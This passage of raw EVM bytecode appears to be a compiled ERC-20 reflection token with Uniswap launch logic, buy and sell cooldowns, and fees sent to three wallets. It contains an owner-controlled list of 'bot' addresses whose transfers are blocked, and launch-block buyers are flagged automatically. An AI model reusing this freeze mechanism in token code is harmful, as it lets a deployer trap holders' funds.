fffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600581526020017f2042445220000000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f72657373000000000000000000000000000000000000000000000000000000006020820152